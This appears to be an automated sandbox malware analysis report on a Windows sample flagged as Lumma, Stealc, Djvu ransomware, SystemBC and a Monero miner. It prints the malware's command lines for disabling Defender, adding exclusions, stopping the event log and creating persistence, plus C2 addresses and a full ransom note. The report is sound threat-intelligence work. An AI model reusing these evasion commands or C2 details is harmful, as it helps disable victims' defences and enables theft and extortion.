Edit tour

Windows Analysis Report
3QKcKCEzYP.exe

Overview

General Information

Sample name:	3QKcKCEzYP.exe renamed because original name is a hash value
Original sample name:	7db3e0a15ff5d498fd56aab3ceb8b968.exe
Analysis ID:	1496361
MD5:	7db3e0a15ff5d498fd56aab3ceb8b968
SHA1:	d16db762e8ca0fc4f82b12119fad118c5f386217
SHA256:	1e1bc32c5d4d0cae5310d34827be61eb087dc6aca7a7d767c77529b41e720a81
Tags:	exeStop
Infos:

Detection

LummaC, Djvu, Go Injector, LummaC Stealer, Neoreklami, Stealc, SystemBC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Sigma detected: Stop EventLog

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected Djvu Ransomware

Yara detected Go Injector

Yara detected LummaC Stealer

Yara detected Neoreklami

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected SystemBC

Yara detected Xmrig cryptocurrency miner

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Creates HTML files with .exe extension (expired dropper behavior)

Drops PE files to the document folder of the user

Found direct / indirect Syscall (likely to bypass EDR)

Found strings related to Crypto-Mining

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies Windows Defender protection settings

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

Performs DNS queries to domains with low reputation

Queries Google from non browser process on port 80

Sample is not signed and drops a device driver

Sample uses process hollowing technique

Sample uses string decryption to hide its real strings

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Silenttrinity Stager Msbuild Activity

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Uses cmd line tools excessively to alter registry or file data

Uses powercfg.exe to modify the power settings

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Yara detected Costura Assembly Loader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Uses reg.exe to modify the Windows registry

Uses the system / local time for branch decision (may execute only at specific dates)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

3QKcKCEzYP.exe (PID: 4032 cmdline: "C:\Users\user\Desktop\3QKcKCEzYP.exe" MD5: 7DB3E0A15FF5D498FD56AAB3CEB8B968)

fOzLadrzZNRnwv2woTdiFoXM.exe (PID: 4304 cmdline: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe MD5: 993F5FDF3BD55F35661293167E39649A)

MSBuild.exe (PID: 4896 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MrBEu6cm6HagE9yrmXV8x4AG.exe (PID: 6096 cmdline: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe MD5: 006EDF0AC466164DDC9E0AC56474FE0A)

r0bVQRH8Dto7infNi6DOB01w.exe (PID: 1548 cmdline: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe MD5: 6685BAAC90C11334FF11841BFA22E61B)

Install.exe (PID: 5668 cmdline: .\Install.exe MD5: 26775D5C2D6D7D007426B7F6B97139D9)

Install.exe (PID: 3164 cmdline: .\Install.exe /uSdidZODwd "525403" /S MD5: 1FB6BC61C7538FE32C88454B5082B7DC)

cmd.exe (PID: 3992 cmdline: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

forfiles.exe (PID: 5224 cmdline: forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 420 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 6324 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 5832 cmdline: forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 5552 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 2876 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 3924 cmdline: forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 1824 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 3472 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 6128 cmdline: forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 4832 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 4392 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 776 cmdline: forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 2276 cmdline: /C powershell start-process -WindowStyle Hidden gpupdate.exe /force MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

forfiles.exe (PID: 6516 cmdline: "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True" MD5: D95C443851F70F77427B3183B1619DD3)

conhost.exe (PID: 5332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7000 cmdline: /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 5232 cmdline: powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

WMIC.exe (PID: 7140 cmdline: "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True MD5: E2DE6500DE1148C7F6027AD50AC8B891)

schtasks.exe (PID: 1280 cmdline: schtasks /CREATE /TN "bhigQxvKbgfszOKTET" /SC once /ST 02:33:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe\" kd /CVdidr 525403 /S" /V1 /F MD5: 48C2FE20575769DE916F48EF0676A965)

zVS6xq86P4Kl0c26CfULXfv4.exe (PID: 2968 cmdline: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe MD5: 8447DBE44AA2EDE5D56341E0DC22F319)

powercfg.exe (PID: 6368 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 1936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 2420 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 1460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 2276 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 3492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1280 cmdline: powershell start-process -WindowStyle Hidden gpupdate.exe /force MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

gpupdate.exe (PID: 876 cmdline: "C:\Windows\system32\gpupdate.exe" /force MD5: 6DC3720EA74B49C8ED64ACA3E0162AC8)

conhost.exe (PID: 5536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 3492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 5024 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 3852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 3872 cmdline: C:\Windows\system32\sc.exe delete "KSKIUXEH" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 2156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 6612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 4488 cmdline: C:\Windows\system32\sc.exe create "KSKIUXEH" binpath= "C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 2988 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 4592 cmdline: C:\Windows\system32\sc.exe start "KSKIUXEH" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 2432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

6UF1Jcwj34zqEggktO7mg1WS.exe (PID: 364 cmdline: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe MD5: 902F14B6F32CC40A82D6A0F2C41208EC)

yZBxqqQICO50PLfWYKwJeSL5.exe (PID: 6792 cmdline: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe MD5: D4FCA59C99D8D70ACA5744D147E37C03)

erzljnhmzkuz.exe (PID: 6780 cmdline: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe MD5: 8447DBE44AA2EDE5D56341E0DC22F319)

powercfg.exe (PID: 2704 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 3504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 5564 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 6648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 500 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 6828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ https://censys.com/a-beginners-guide-to-hunting-open-directories/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
SystemBC	SystemBC is a proxy malware leveraging SOCKS5. Based on screenshots used in ads on a underground marketplace, Proofpoint decided to call it SystemBC.SystemBC has been observed occasionally, but more pronounced since June 2019. First samples goes back to October 2018.	No Attribution	https://asec.ahnlab.com/en/33600/ https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.vmware.com/security/2023/06/8base-ransomware-a-heavy-hitting-player.html https://community.riskiq.com/article/47766fbd	https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc

Malware Configuration

Threatname: StealC

{"C2 url": "http://193.176.190.41/2fa883eebd632382.php"}

Threatname: LummaC

{"C2 url": ["consciousourwi.shop", "interactiedovspm.shop", "torubleeodsmzo.shop", "cagedwifedsozm.shop", "weiggheticulop.shop", "charecteristicdxp.shop", "potentioallykeos.shop", "deicedosmzj.shop", "southedhiscuso.shop"], "Build id": "a8kafm--@cloudcosmic"}

Threatname: Djvu

{"Download URLs": [""], "C2 url": "http://cajgtus.com/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/abe121434ad837dd5bdd03878a14485820240531135509/34284d\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0874PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsZOJbLC8rdQ3RNFdWJ9l\\\\nsRHwDxjXZCN4K9IEo3ccj2X7KVzvLXJ\\/I+jMWoFDgbTA5TMMDPMhlSykGYr1rbX9\\\\ntDxs5EL7FC3R6jbLzQ+QVdvG2Slvd1aEiSAhkrB6Z97DC28ixTGkA4aCQKKFT5ge\\\\nSXPpDStS2N3zeiWPCMkOs9RErtxVW9sXoWRAFtBg2kSHTyKEWcRqnxplrJGdVQKU\\\\n0DxDnHDefnxaf\\/3VSRczBwGZlq\\/Mr2bfHM2Mf8JWmYztlmGbjGb\\/\\/oixuuRePxzt\\\\n6xgozgVrC64HnagNFyODdlk2w\\/BpJWXIbgivZ0kR40Ll3NEAl3Z26cIkIc6pAJ3s\\\\nfwIDAQAB\\\\n-----END PUBLIC KEY-----"}

Threatname: SystemBC

{"HOST1": "claywyaeropumps.com", "HOST2": "178.132.2.10", "DNS1": "5.132.191.104", "DNS2": "ns1.vic.au.dns.opennic.glue", "DNS3": "ns2.vic.au.dns.opennic.glue"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security
sslproxydump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\StyleControls%20VCL[1].exe	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.2609476131.0000000003776000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000008.00000002.2650537214.0000000005DE0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000003.2321421770.000002404738C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security
00000009.00000002.2654215654.000000C000200000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000B.00000002.2407758499.0000000001587000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000002.2657332261.00007FF7E1E05000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security
00000009.00000002.2654215654.000000C0002C2000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000000.00000003.2328096357.0000024045DBC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security
0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37eb98:$a1: mining.set_target 0x370e20:$a2: XMRIG_HOSTNAME 0x373748:$a3: Usage: xmrig [OPTIONS] 0x370df8:$a4: XMRIG_VERSION
0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x3c8ae1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
